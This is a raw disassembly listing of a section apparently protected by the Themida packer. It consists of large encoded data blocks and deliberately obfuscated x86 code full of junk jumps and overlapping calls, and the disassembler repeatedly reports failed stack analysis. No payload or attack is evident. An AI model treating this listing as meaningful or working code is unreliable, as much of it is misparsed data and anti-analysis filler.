		dd 0F590000h, 8Bh, 8B666100h, 11E8FAh, 10E90000h, 39F60E0Bh
		dd 2D1742CEh, 25D44F10h, 800B463Ch, 605E80DAh, 61FE8B66h
		dd 0A108B866h, 14E860h,	839D0000h, 0C9C1E27h, 0AD8A1062h
		dd 0D9B563B7h, 531F6381h, 615E2CFBh, 820F7DB1h,	5, 933E7EBBh
		dd 0BF0F6069h, 0DE8161F6h, 58828A72h, 14E9h, 0CBA14500h
		dd 1C4647A7h, 88801D65h, 0E0C55A16h, 78688E87h,	15860FC8h
		dd 0E8000000h, 0Ch, 0D024888Eh,	2C792D36h, 9C6B8B1Ch, 5E1DC480h
		dd 0FDDBBB66h, 8E9h, 9C066C00h,	0B7AF6654h, 8F2CB875h
		dd 870F52A1h, 14h, 0FE9h, 0A1799800h, 43B27637h, 21409D3Ah
		dd 3E517F2Eh, 0CE9h, 0F4A12400h, 0BCD7C5EBh, 82BBB0CBh
		dd 9E9F869h, 86000000h,	1B4108FAh, 0F32EED43h, 68E0Fh
		dd 0D0810000h, 17C41038h, 0FE8h, 9237AD00h, 9A689087h
		dd 34913AFFh, 0E7A637D1h, 0DE8h, 34E69D00h, 0F13FBD4Ch
		dd 75DBDDBCh, 0BB6681F8h, 5E5AA648h, 5E8h, 93976100h, 81666C28h
		dd 58918FC9h, 0F5CF8B66h, 73E18166h, 28B0FD8h, 8A000000h
		dd 38B0FD4h, 0F000000h,	0EA81D3BFh, 61DCA355h, 178C0Fh
		dd 12E90000h, 3A000000h, 0B26D96B7h, 39AB7FE8h,	0F73102A9h
		dd 1687B83Ch, 817DB5EFh, 37929F0h, 0BF0FFC4Ah, 94D781D8h
		dd 0E8523E76h, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 0F585160h
		dd 87h,	0F596100h, 8E0FF8B7h, 0Bh, 58A0Fh, 81660000h, 0E9856AC0h
		dd 0Eh,	0F4D90E84h, 0C45685C3h,	0F9BF1714h, 0E880015Fh
		dd 188D0F8Eh, 0E9000000h, 13h, 0E80600E4h, 62301E73h, 1A79134Ch
		dd 7A02A887h, 8139009Dh, 2B47FDD3h, 0B70F5174h,	7E95FD6h
		dd 3C000000h, 0DA9BD425h, 0D6818347h, 59BDD51Ah, 820FC88Bh
		dd 0
		dd 83DFD981h, 0EE801F4h, 0C8000000h, 78E59EB0h,	40A765Fh
		dd 57CEB407h, 10E9B1h, 99960000h, 8D8DBFCBh, 5C3139E3h
		dd 470B2766h, 8B5F6F2Ah, 3B660FEh, 0DA6C91BEh, 0DD806119h
		dd 0C78B66A7h, 0DB8166F8h, 0BF0FC122h, 8BDF8BC0h, 0E950B6D1h
		dd 0Bh,	0B095CFB9h, 8EA53405h, 0E957DC5Eh, 14h,	34AB4C9Ah
		dd 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h, 841F3E77h, 6059F853h
		dd 0CAC68160h, 817ACFD5h, 51A8DDEFh, 10E86160h,	0AE000000h
		dd 76A784B0h, 2AA04AA2h, 1D58EFB2h, 0F8ECAFD5h,	8C0F615Ah
		dd 2, 8166DF8Bh, 8BA39FE7h, 3800FC8h, 80000000h, 830F61EEh
		dd 3, 60F7D580h, 0C1C0A7B9h, 0F281667Eh, 666193F2h, 41C4EB81h
		dd 0F4BCC80h, 0BFFCD3BFh, 134F0C9Ch, 27B6BE66h,	0B870F57h
		dd 0E9000000h, 6, 547760BEh, 0F5BDE53h,	28Eh, 66C38A00h
		dd 8166F28Bh, 0E98D53F0h, 0Dh, 9335F770h, 0A5D607C6h, 82013818h
		dd 0D88166E7h, 0B70F5AECh, 0BBBBB6DEh, 12370D6Dh, 61605051h
		dd 12E95E5Fh, 0FF000000h, 0D4DDB787h, 0DF4618F3h, 0CA480CC2h
		dd 2865B9ECh, 8F0F503Eh, 2, 0E95FFE8Bh,	13h, 987C3E82h
		dd 6541EABBh, 2B5A5460h, 379AB084h, 60A480A9h, 0F7DCB866h
		dd 13E9h, 90A9E700h, 0F572C3Ah,	0C43CC39Dh, 6C2C298Ah
		dd 845E4669h, 0B70F6061h, 0CCB866F3h, 0CCB9616Bh, 0BF7A3D4Fh
		dd 9AF5B0Dh, 0BE9h, 8EC57000h, 1DC0A7BEh, 92EF8CCDh, 9EC98166h
		dd 0FBBF0F87h, 57C7B70Fh, 12E9h, 0E7A7AB00h, 0BB54DF48h
		dd 8211E256h, 42089557h, 58536401h, 8BD18B66h, 0E08166CFh
		dd 55B3C4B8h, 6E8h, 760E8B00h, 0F56996Bh, 283h,	59595000h
		dd 9E8h, 6416BA00h, 42912EEh, 890F4B5Ch, 0
; ---------------------------------------------------------------------------
		pop	edx
		movsx	eax, di
		mov	edx, ecx
		cmc
		jmp	loc_6101D4
; ---------------------------------------------------------------------------
		pop	ebp
		mov	ebp, edx
		mov	cl, 18h
		movsb
		adc	esi, ecx
		sub	[edx], cl
		xchg	al, [eax+30h]
		push	esp
		sub	bh, dh
		or	byte ptr [esi+66h], 0F1h


loc_6101D4:				; CODE XREF: Themida_:006101BBj
		push	eax
		pop	ecx
		jnp	loc_6101EC
		jmp	loc_6101EC
; ---------------------------------------------------------------------------
		db 38h,	9Fh, 2Fh
		dd 0FF405BD9h, 5C193340h
; ---------------------------------------------------------------------------


loc_6101EC:				; CODE XREF: Themida_:006101D6j
					; Themida_:006101DCj
		movzx	edx, ax
		mov	ax, 0D6EFh
		jbe	loc_6101FF
		sub	ebx, 2BD33D61h


loc_6101FF:				; CODE XREF: Themida_:006101F3j
		call	near ptr loc_61020B+1
		mov	dl, 0DEh
		out	dx, al
		movsb
		sbb	[edi-38h], ebp


loc_61020B:				; CODE XREF: Themida_:loc_6101FFp
		out	81h, al		; DMA page register 74LS612:
					; Channel 2 (diskette DMA)  (address bits 16-23)
		out	dx, eax
		cdq
		jz	short near ptr dword_60FFB4+1E8h
		sbb	[edx-80h], bl
		rep imul esp, [esi-75h], 0FD98BF8h
		mov	bh, 0C8h
		mov	ch, bl
		mov	al, 19h
		mov	edi, 0C9391E3h
		call	near ptr loc_610237+5
		lock inc edx
		fnstenv	byte ptr [eax]
		push	edi
		xor	eax, [esi-666BA3E1h]


loc_610237:				; CODE XREF: Themida_:00610227p
		sub	[ecx+0FB60D49h], edx
		mov	word ptr [ebx],	es
; ---------------------------------------------------------------------------
		db 0
		dd 0EB800000h, 8AFC59E5h, 5EFC51D5h, 66F0B70Fh,	0F5D4BBFh
		dd 188h, 8BB8F500h, 0F7F6FD0h, 82h, 7E800h, 10EE0000h
		dd 0A2048746h, 0F0816640h, 0E95FEC07h, 5, 0C2F707DDh, 0DABF0FB4h
		dd 8166D88Bh, 6040F6D9h, 8B0F60h, 66000000h, 9DD1C381h
		dd 0BAB35361h, 0CE8B6158h, 4880Fh, 0B9660000h, 0F3801F02h
		dd 4800F24h, 50000000h,	6659DE8Ah, 0F7E33B9h, 0D8Ch, 5E85200h
		dd 0CB000000h, 0BB424A74h, 800F5E5Eh, 0Dh, 8E9h, 146D7800h
		dd 0C215D8DEh, 0FFA8B1Ah, 0B87h, 5850F00h, 66000000h, 0B939C381h
		dd 9C4232BAh, 7CD18104h, 663C4AD1h, 890FF28Bh, 1, 6CC280F5h
		dd 6DA6BE66h, 0CE9D78Bh, 6A000000h, 93998E26h, 995C92AAh
		dd 0FF2B8E1h, 178Fh, 12E900h, 0E7620000h, 25FD735Dh, 0E644128Bh
		dd 0D70167CDh, 7BFE3558h, 1820Fh, 8BF90000h, 7E9F0h, 0EBD20000h
		dd 0C2AD972Bh, 0C6F181C2h, 0F34065Ch, 46B3F7B7h, 8171F180h
		dd 8C71E4C9h, 4DF38007h, 3485BE66h, 12E9h, 2B2E5500h, 786E8808h
		dd 4149BD9Eh, 5BDB5BCAh, 0E96BE1EAh, 0Bh, 0C2231D46h, 0C22737A8h
		dd 0B1A7A984h, 0BFDE8BC3h, 2BE4695Dh, 2820Fh, 9CB40000h
		dd 7BBA66FCh, 0FE821h, 87850000h, 0CA86A4DDh, 0CF8E44FAh
		dd 0DF98E090h, 5AF78A24h, 0FDEB70Fh, 388h, 0EFE28000h
		dd 5AD78B51h, 60C7C480h, 12E960h, 44E60000h, 0B8F2256Ah
		dd 846F05EDh, 0BDDA4904h, 0AF79EE2Dh, 0B70F6161h, 0B6B5FCC3h
		dd 0C69FF281h, 0BDBE477Dh, 0E95030FAh, 6, 0E0FD647Bh, 880FA44Fh
		dd 4, 585E5356h, 0DE8h,	0B570D600h, 8B3C58E8h, 62A5A04Bh
		dd 14E9422Fh, 11000000h, 864EE295h, 941881CCh, 4011D0D5h
		dd 0A7ADBA15h, 5B8FCB49h, 0BE9h, 3A8F4700h, 63842C01h
		dd 0FE2723B0h, 0E8C1B70Fh, 0Bh,	0F8024625h, 0F426D0F4h
		dd 0F98AC176h, 0FEB70F5Ah, 12E9h, 0B824F000h, 0C331B65Fh
		dd 88D96AF0h, 0CE791F89h, 0FAAFE82h, 81F5D2B7h,	95E234DAh
		dd 0D38B6006h, 6980B966h, 6DB96661h, 0CE92Ah, 28BD0000h
		dd 74FB3B66h, 2D0DF6BAh, 9E944BEh, 0D4000000h, 56757118h
		dd 9719FC34h, 0DA5FD6B8h, 9EDA811Eh, 664A6ABCh,	523895B9h
		dd 5951DA80h, 16C9E981h, 11E90C58h, 0DF000000h,	8EA3D368h
		dd 0AAB9AACh, 1461FF27h, 0FB6429B2h, 0C0F435B9h, 11E81Bh
		dd 94AB0000h, 0A47C0A5Eh, 7C932BC7h, 5D78039Fh,	5950E32Eh
		dd 14E8h, 13509000h, 0D2085FDh,	59C8B827h, 31C646Ch, 23DDD4E7h
		dd 0CFB70F02h, 0BB66605Fh, 0EB81135Fh, 4A3E24A9h, 9E961h
		dd 0A7F60000h, 59A86408h, 8159090Ch, 7CFC89DEh,	0E7816625h
		dd 0F60BC57h, 61F9FFB7h, 0B7D38B66h, 0FAB70F7Bh, 7E8EEB7h
		dd 6000000h, 3FD52D9Ah,	4FBEB299h, 5B14C4A4h, 0B6CEDA81h
		dd 0C18B6058h, 0E351E381h, 0E9605924h, 0Fh, 8938D086h
		dd 34E9786Fh, 0ACC55E69h, 0E9D30C1Bh, 14h, 0F5B5E47h, 0E4DF58D1h
		dd 0E1163113h, 935437DFh, 0AA59DEF7h, 1820F61h,	0F5000000h
		dd 0B966D38Bh, 8166A6E7h, 0F6EF4E1h, 11E9F2BFh,	0B8000000h
		dd 0CF8F0267h, 0AC06FC8Bh, 1D255752h, 94F673C0h, 0C40B1BBAh
		dd 8B66603Ch, 99E081F1h, 612A91F4h, 59DA8B56h, 40C28166h
		dd 16890F14h, 0E8000000h, 10h, 3B41A81Ch, 7AFA481Ch, 6FA38225h
		dd 7595E2B2h, 14E959h, 36B90000h, 2A40C054h, 108923D2h
		dd 63B0236Bh, 0A8AC643Ch, 815657F1h, 0D0C79ED9h, 0C6805804h
		dd 38A0FB5h, 80000000h,	36B0ABDBh, 3CF68166h, 18E0F71h
		dd 0F5000000h, 5BE6B356h, 657F81BAh, 38C0F2Ch, 66000000h
		dd 870FDF8Bh, 0
; ---------------------------------------------------------------------------
		xor	cx, 0EADEh
		or	ecx, 56AD324Fh
		mov	edi, eax
		jz	loc_61066D
		mov	eax, edi


loc_61066D:				; CODE XREF: Themida_:00610665j
		mov	bl, 6Ah
		mov	edx, ebx
		push	edi
		adc	bx, 6271h
		pop	edi
		mov	eax, 78E9AF1h
		jz	loc_610686
		movsx	ebx, cx


loc_610686:				; CODE XREF: Themida_:0061067Dj
		jmp	loc_61069E
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh, 0C59AAE95h
		db 20h,	4Dh
; ---------------------------------------------------------------------------


loc_61069E:				; CODE XREF: Themida_:loc_610686j
		mov	ah, 45h
		clc
		jmp	loc_6106AB
; ---------------------------------------------------------------------------
		xor	eax, 0D6A6F456h


loc_6106AB:				; CODE XREF: Themida_:006106A1j
		movzx	ecx, bx
		mov	si, bx
		call	sub_6106BE
		mov	esp, [eax-7CAEF51Bh]
		sti
		cld

; =============== S U B	R O U T	I N E =======================================



sub_6106BE	proc near		; CODE XREF: Themida_:006106B1p
		jl	loc_6106C9
		adc	di, 10B8h


loc_6106C9:				; CODE XREF: sub_6106BEj
		pop	edi
		movsx	edx, cx
		movsx	eax, bx
		mov	ah, 0DCh
		jge	$+6
		push	edx
		mov	ecx, 1CCF33EEh
		pop	eax
		jmp	loc_6106F8
; ---------------------------------------------------------------------------
		dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 49398B3Ah, 98E6A9E5h
; ---------------------------------------------------------------------------


loc_6106F8:				; CODE XREF: sub_6106BE+21j
		jmp	loc_610705
; ---------------------------------------------------------------------------
		db 2Eh,	29h, 0E8h
		dd 0FF98F5Ch
		db 8Fh
; ---------------------------------------------------------------------------


loc_610705:				; CODE XREF: sub_6106BE:loc_6106F8j
		movzx	edx, bx
		cld
		sub	esi, 451BDCE3h
		pusha
		mov	esi, 53AB97DAh
		sub	edx, 33552BF1h
		popa
		call	near ptr loc_610729+1
		push	edx
		dec	edi
		xchg	dh, bl
		mov	dl, 3Eh
		sub	al, 9Bh


loc_610729:				; CODE XREF: sub_6106BE+5Ep
		repne stc
sub_6106BE	endp ; sp-analysis failed

		pop	esi
		push	edi
		jmp	loc_610742
; ---------------------------------------------------------------------------
		dw 0A39Bh
		dd 0DFB23A56h, 0BE261A9Eh, 7CA9AB8Fh
		db 0CDh, 15h
; ---------------------------------------------------------------------------


loc_610742:				; CODE XREF: Themida_:0061072Dj
		pop	eax
		sub	dl, 8Fh
		jno	loc_61074E
		mov	dl, bl


loc_61074E:				; CODE XREF: Themida_:00610746j
		xor	edx, 6122745Ah
		jle	loc_61075C
		mov	edi, ebx


loc_61075C:				; CODE XREF: Themida_:00610754j
		jmp	loc_610770
; ---------------------------------------------------------------------------
		db 2 dup(4Eh), 1Ah
		dd 5E6486B6h, 0AAC6ACDAh, 655D3937h
; ---------------------------------------------------------------------------


loc_610770:				; CODE XREF: Themida_:loc_61075Cj
		pusha
		movzx	ebx, si
		mov	eax, ebx
		popa
		mov	dl, ch
		mov	al, 0B1h
		movsx	edi, ax
		xor	si, 0C600h
		pusha
		or	esi, 4A56CEEEh
		adc	di, 9323h
		popa
		movzx	esi, cx
		jmp	loc_61079E
; ---------------------------------------------------------------------------
		dd 0FD0CED49h
; ---------------------------------------------------------------------------
		sbb	[eax], ah


loc_61079E:				; CODE XREF: Themida_:00610793j
		call	sub_6107AC
		daa
		sbb	[eax-510F5852h], ebx
; ---------------------------------------------------------------------------
		dw 1B8Fh

; =============== S U B	R O U T	I N E =======================================



sub_6107AC	proc near		; CODE XREF: Themida_:loc_61079Ep
		mov	esi, 61B21966h
		pop	ebx
		mov	edx, 8AEA553h
		mov	esi, ecx
		mov	al, 30h
		cld
		call	sub_6107D3
		pushf
		and	eax, 23684FF4h
		pop	edi
		or	ebx, [edi]
		mov	ebp, [esi+edx*2]
		popf
		les	edx, [ebp+3Fh]
		sbb	eax, eax
sub_6107AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6107D3	proc near		; CODE XREF: sub_6107AC+10p
		push	esi
		cld
		pop	eax
		pop	ebx
		xor	si, 23AEh
		call	sub_6107EE
		into
		ror	dword ptr [ecx+24DE4860h], cl
		pop	esi
		sbb	ah, [esi-7Bh]
		sbb	eax, [edi]
sub_6107D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6107EE	proc near		; CODE XREF: sub_6107D3+9p

; FUNCTION CHUNK AT 006108D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 006108ED SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00610924 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00610964 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0061098C SIZE 0000000D BYTES

		pop	edi
		mov	edx, ebx
		jmp	loc_61080A
; ---------------------------------------------------------------------------
		dw 97A5h
		dd 0FD928577h, 28A0F4Eh, 364C9794h, 390D4AC1h
		db 2Bh,	9Dh
; ---------------------------------------------------------------------------


loc_61080A:				; CODE XREF: sub_6107EE+3j
		mov	esi, 701D2C99h
		jmp	loc_610828
; ---------------------------------------------------------------------------
		dd 84A02498h, 6437EF17h, 0B12CFC39h, 555DA92Ah,	4383995Eh
; ---------------------------------------------------------------------------


loc_610828:				; CODE XREF: sub_6107EE+21j
		pusha
		mov	esi, edx
		popa
		adc	ax, 6C8h
		mov	si, 6320h
		adc	dh, 5Ch
		mov	ebx, edx
		and	ah, 0E5h
		jns	loc_610847
		push	eax
		mov	ch, 0C7h
		pop	esi


loc_610847:				; CODE XREF: sub_6107EE+4Fj
		jmp	loc_610851
; ---------------------------------------------------------------------------
		dd 0A97FF60Ch
		db 18h
; ---------------------------------------------------------------------------


loc_610851:				; CODE XREF: sub_6107EE:loc_610847j
		jle	loc_61086B
		jmp	loc_61086B
; ---------------------------------------------------------------------------
		adc	al, 7Dh
		sahf
		test	al, 83h
		rcr	byte ptr [ecx+74h], 30h
		clc
		xor	dl, [edi-7Bh]
		mov	dl, 0B0h


loc_61086B:				; CODE XREF: sub_6107EE:loc_610851j
					; sub_6107EE+69j
		mov	di, 0FC2Ah
		pusha
		or	edx, 7E316C88h
		movzx	edx, ax
		popa
		mov	dx, ax
		xor	ecx, 191C40ADh
		mov	eax, edx
		adc	di, 397Bh
		mov	di, cx
		sbb	ah, 0A2h
		js	$+6
		or	bl, 5Ah
		jz	loc_6108A1
		mov	edi, esi


loc_6108A1:				; CODE XREF: sub_6107EE+ABj
		and	esi, 10E8E79h
		mov	ch, 0BEh
		jp	loc_6108D5
		call	near ptr loc_6108BB+2
		enter	0D85h, 0BAh
		cmc
		xchg	eax, edx
		dec	ebp


loc_6108BB:				; CODE XREF: sub_6107EE+C1p
		sub	bh, large ds:12E9h
sub_6107EE	endp ; sp-analysis failed

		add	[esi+ebx*8], bh
		jo	short loc_610913
		nop
		push	ds
		aaa
		dec	ebp
		jge	short near ptr loc_610927+2
		shl	dword ptr [edi+308C602Dh], 0C0h
		or	al, 5Ah
; START	OF FUNCTION CHUNK FOR sub_6107EE


loc_6108D5:				; CODE XREF: sub_6107EE+BBj
		jmp	loc_6108ED
; END OF FUNCTION CHUNK	FOR sub_6107EE
; ---------------------------------------------------------------------------
		dw 5DB3h
		dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah
		db 22h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6107EE


loc_6108ED:				; CODE XREF: sub_6107EE:loc_6108D5j
		movzx	eax, cx
		jle	loc_6108F8
		mov	edi, ebx


loc_6108F8:				; CODE XREF: sub_6107EE+102j
		push	edi
		mov	di, cx
		pop	esi
		adc	si, 8D58h
		add	esi, 30DDF4D0h
		movsx	ecx, ax
		clc
		mov	si, cx
		stc
		mov	cx, bx


loc_610913:				; CODE XREF: Themida_:006108C4j
		pusha
		jmp	loc_610924
; END OF FUNCTION CHUNK	FOR sub_6107EE
; ---------------------------------------------------------------------------
		db 97h,	0BEh, 0Eh
; ---------------------------------------------------------------------------
		xor	ecx, [edi-513A22Ah]
		push	ss
		movsb
; START	OF FUNCTION CHUNK FOR sub_6107EE


loc_610924:				; CODE XREF: sub_6107EE+126j
		cmc
		popa
		pusha


loc_610927:				; CODE XREF: Themida_:006108CAj
		jnp	loc_610932
		mov	ecx, 0A501D9Ch


loc_610932:				; CODE XREF: sub_6107EE:loc_610927j
		movsx	edi, ax
		popa
		sub	edi, 5C3F4EE4h
		sbb	dl, 0A6h
		mov	cx, bx
		jb	loc_61094E
		jle	$+6


loc_61094E:				; CODE XREF: sub_6107EE+154j
		mov	bx, si
		jmp	loc_610964
; END OF FUNCTION CHUNK	FOR sub_6107EE
; ---------------------------------------------------------------------------
		sub	eax, 2B776E2h
		mov	edi, 384D287Ah
		sbb	al, 97h
		db	64h
		cdq
; START	OF FUNCTION CHUNK FOR sub_6107EE


loc_610964:				; CODE XREF: sub_6107EE+163j
		jge	loc_61096E
		pusha
		pusha
		popa
		popa


loc_61096E:				; CODE XREF: sub_6107EE:loc_610964j
		mov	dl, ah
		mov	bh, 67h
		add	dx, 9234h	; CODE XREF: sub_6107EE+1A5j
		movzx	edi, cx
		cmc
		movzx	eax, si
		pusha
		jmp	loc_61098C	; CODE XREF: sub_6107EE+1A8j
; END OF FUNCTION CHUNK	FOR sub_6107EE
; ---------------------------------------------------------------------------
		dd 15DD7E1Dh, 3DC52935h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6107EE


loc_61098C:				; CODE XREF: sub_6107EE+191j
		call	near ptr loc_610996+1
		scasd
		cwde
		jz	short near ptr loc_610972+4
		dec	ebp


loc_610996:				; CODE XREF: sub_6107EE:loc_61098Cp
		ja	short near ptr loc_61097F+2
		push	cs
; END OF FUNCTION CHUNK	FOR sub_6107EE
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0EC70B744h, 55745CFFh, 0CAF145EFh, 615EBD6Bh, 666060F9h
		dd 6661F08Bh, 0E861D88Bh, 11h, 0CECC0538h, 0DF2183Fh, 0F64A5071h
		dd 0BE71531Dh, 10E9A0h,	0EC7A0000h, 0DEC0D249h,	8D120AACh
		dd 8F3662C2h, 665B0CB3h, 0BF0FC18Bh, 839DBBC3h,	7E841BEh
		dd 37000000h, 9D4F4F91h, 5EF52783h, 1F0CE381h, 8B66622Fh
		dd 12E9CFh, 0F4E0000h, 9794028Ah, 4AC1364Ch, 9D2B390Dh
		dd 0D9941C47h, 11E9h, 7FE56F00h, 7AA6108Eh, 3622D379h
		dd 747D1A4Fh, 860F7CF4h, 0Eh, 820F60h, 81000000h, 0BB4375DEh
		dd 0F526110h, 0E95EFFBFh, 0Eh, 0A85B4148h, 0D9DC8896h
		dd 0EC2771FAh, 0F3819C64h, 3F4771EAh, 66D2BF0Fh, 666372BEh
		dd 89BAFB8Bh, 0F7017D3h, 1784h,	118D0F00h, 0E9000000h
		dd 0Ch,	953C0222h, 5185D46Fh, 152109C4h, 0D346C681h, 0FE91B76h
		dd 0B4000000h, 328FCFD3h, 0A3728794h, 0B510931Fh, 0F2813588h
		dd 5AD01EC5h, 840Fh, 0B9660000h, 0FB9E089h, 8B0BE8C0h
		dd 0F38166C1h, 5E95901h, 0A0000000h, 42FF32D0h,	84DE8166h
		dd 0FBF66C4h, 0C8BF0FC9h, 5E952h, 0DBA90000h, 5FF63721h
		dd 4800Fh, 0BB660000h, 8D0F5F47h, 8, 0D940B860h, 61FC0E7Bh
		dd 0DE860h, 7D270000h, 923BCFBFh, 135FD03h, 0E92D9295h
		dd 0Ah,	0E5C521D9h, 91B9001Dh, 0F559A739h, 0AE961h, 0C9680000h
		dd 0F2F51A17h, 0C5C0BFE8h, 8BF9B70Fh, 66BDB6FAh, 5F7CDF81h
		dd 0E838C380h, 0Dh, 42AA63F6h, 289700DBh, 3453160h, 0BE99Eh
		dd 0D1A90000h, 881B38D2h, 0BCFAD22Bh, 66F95A1Ch, 8A80E6BAh
		dd 14E9F4h, 9B7C0000h, 0DAC0EE22h, 8B8BFC7Eh, 41B53B88h
		dd 0DC6D70BEh, 0B866220Ch, 7BB30CF3h, 0FD08B66h, 386h
		dd 0D8BF0F00h, 0B9665952h, 75B9A263h, 0B11C1008h, 8ADC8A7Bh
		dd 605EB5C2h, 66F3BF0Fh, 4D99CB81h, 66EA8A61h, 0B0758CB8h
		dd 14E8512Ch, 81000000h, 17D2F689h, 39548BDh, 0B445D8AEh
		dd 0D4024A34h, 809ADF8Eh, 595FD6EEh, 66C8B70Fh,	6610F7B8h
		dd 0F83F3BBh, 38Ah, 0C1BF0F00h,	11E9h, 6EE9F200h, 81DFDB8Fh
		dd 0AA412929h, 0CDA16FA8h, 0B70F80E8h, 0D08166C0h, 8166AA72h
		dd 0B41B08D1h, 6E94Bh, 6370000h, 55F710E5h, 0AD76BE66h
		dd 0E82CC080h, 0Ah, 529341D0h, 0BE7C24E4h, 0B25A6385h
		dd 0D38B66A3h, 4810Fh, 0B8660000h, 0EFB7FB42h, 876ACB81h
		dd 10E925C1h, 7E000000h, 0CE23313h, 9DDD7668h, 0CF886F59h
		dd 0E9BF9E6Ah, 14h, 815A0A04h, 8185849Eh, 3414B397h, 6E6704EAh
		dd 0EF2AC73Dh, 0E8C3BF0Fh, 6, 0C7748646h, 0D08B727Bh, 0D381665Eh
		dd 0B966A80Bh, 8A0F0A13h, 15h, 0DE851h,	4F460000h, 2F5F272Ah
		dd 201B1019h, 5A5111C3h, 0CE85Fh, 0EA940000h, 0FCFE7CE4h
		dd 4243BA0Bh, 3AB9C63Ah, 5F7FBAFDh, 0C523C881h,	0F08046EFh
		dd 3830F02h, 0F000000h,	0B70FDBB7h, 12E960C2h, 0D7000000h
		dd 0F0279544h, 0E312582Eh, 9A77F694h, 0C66F1704h, 0F870FBBh
		dd 0E9000000h, 0Ah, 9A02882Ch, 7D4192A1h, 0E8616EA9h, 0Ch
		dd 0C878688Eh, 2EFB4599h, 87ABFDF1h, 2870Fh, 0FC8A0000h
		dd 0E9C5B058h, 14h, 0A00D3B00h,	29C4F1D7h, 0D0F47D6h, 0D0FF502Ch
		dd 61D1D69Bh, 94D68166h, 0BB6660B3h, 0E1801773h, 11E96110h
		dd 9D000000h, 0DBBD9022h, 0CCD36315h, 59CBB35Ch, 0F186BD9Dh
		dd 0C2BA5953h, 60368D24h, 0BED08166h, 93BA664Ch, 0FE9610Dh
		dd 0FB000000h, 5895E85h, 0FA68F83h, 2944BB72h, 0B70F7056h
		dd 0C3B70FC7h, 12E9h, 0C46E3C00h, 13B0F3ECh, 0D25875Dh
		dd 0EFACF9DAh, 8B4662B2h, 0F53F5CBh, 8Ch, 30BA5A00h, 0F4F720Ch
		dd 0B84h, 6E900h, 1EF10000h, 0C4E928A6h, 2800FF5h, 8A000000h
		dd 998FBFCAh, 605344C9h, 0EE9h,	0FD63FF00h, 1B2B0FD5h
		dd 7F66A4BDh, 0FC49959h, 85h, 0F95E6100h, 28E0Fh, 0C18B0000h
		dd 47FCC981h, 820F64E0h, 17h, 0DE960h, 0C3FB0000h, 2034BA42h
		dd 917644A2h, 6630AB78h, 0F561FE8Bh, 0C78B6660h, 0D491C981h
		dd 66613F5Fh, 6653F08Bh, 0D3F6F381h, 0C7B70F5Fh, 5820Fh
		dd 81660000h, 0E8278FD9h, 0Bh, 1CCC1331h, 36A1D62Bh, 0BEFA874Ch
		dd 7470AA9h, 0FFBE665Eh, 0CA8166B2h, 81666EE7h,	0B3A56DE3h
		dd 0CB8B6626h, 58C0Fh, 81660000h, 81D81FEEh, 5B7D88DAh
		dd 0F6816012h, 316FB21Eh, 528BB5BBh, 860F6152h,	1, 0E8F98AFCh
		dd 7, 0E9D7E8DAh, 52C27A19h, 5858F4B6h,	0AABE51F8h, 5828E6F1h
		dd 5879B450h, 0FB866F9h, 2850FCAh, 8B000000h, 816651C1h
		dd 5F7B5FDBh, 0EF5B81BFh, 0B5F0801Dh, 0F671B966h, 7E9h
		dd 0F7B80C00h, 0BF11496Dh, 5AC38B50h, 0CE9h, 0B017EF00h
		dd 64A48B17h, 0C06F4194h, 0BE895h, 140B0000h, 5BBFA92Ch
		dd 0FDF6EABEh, 59B157CAh, 83BF5859h, 535387DFh,	7E9h, 0CAF5E200h
		dd 45215937h, 2ED4805Fh, 9880Fh, 860F0000h, 3, 0FC18B66h
		dd 283h, 0E9CA8B00h, 7,	0AC85F146h, 8BC85ADBh, 92E281C1h
		dd 81422C6Bh, 95ECF1D2h, 0B1F0801Eh, 81D38B66h,	223597DFh
		dd 0E650BB76h, 0BB667BA4h, 0FF5A941h, 0D580D3BFh, 0F969B7D3h
		dd 12E9h, 0E7061900h, 7B690B21h, 0EDE2DA4Ch, 0A2A05237h
		dd 0E9E4A0C4h, 0Fh, 8B0AB70Eh, 1A7B5E9h, 7048E217h, 0E82BE477h
		dd 0Fh,	208AA5B8h, 918F8458h, 424EE637h, 66D07A97h, 0EA34E181h
		dd 0E960F55Ah, 10h, 0A4C4E6EDh,	0BD8A800Fh, 0E518A81Dh
		dd 40EEA232h, 4880Fh, 0B8660000h, 0F613425h, 0D780D6B7h
		dd 0E8EF81FDh, 8A683A50h, 66B966DAh, 0E9F28B5Fh, 11h, 0CF2037FBh
		dd 1BC64F92h, 98945D4Eh, 4F17E463h, 51CAB375h, 13E9h, 0D0E24F00h
		dd 0D8BA5EC4h, 6DFA2D31h, 0E226968Eh, 917CAD41h, 13E85Eh
		dd 37470000h, 587D564Ch, 0FC42653Bh, 5A2E42EFh,	7396952Dh
		dd 0D88B668Ch, 9E959h, 9FCC0000h, 0B0649093h, 0F8E3ABAh
		dd 1981h, 10E800h, 272B0000h, 58B449B6h, 31165E8h, 0AA18874Ah
		dd 0B70F8C29h, 0D0815BFAh, 789C9E8Fh, 5F576060h, 10D18161h
		dd 612CB0A1h, 66F9E1B3h, 577F21BAh, 0DB81665Fh,	0F9602F06h
		dd 0E57D53BAh, 0BF0F6172h, 0FC18BCAh, 98Bh, 38A0F00h, 80000000h
		dd 0E9608FEEh, 14h, 673E8F0Bh, 7800D638h, 47E6EEB0h, 0D9E0171Fh
		dd 0F1DAD586h, 7E861h, 33C80000h, 47FD3581h, 0F781603Ch
		dd 507D0C77h, 7971F381h, 58615A00h, 830FBBB1h, 5, 1502DDB9h
		dd 80DA8B64h, 8166A3CDh, 66F154D2h, 669F42B9h, 0CDE0E181h
		dd 1909F381h, 0F57337Dh, 0E85FCBBFh, 12h, 624516BDh, 0A4892F8Fh
		dd 486F99B2h, 4FD4C9D7h, 8B663748h, 0F38158D9h,	194D96D6h
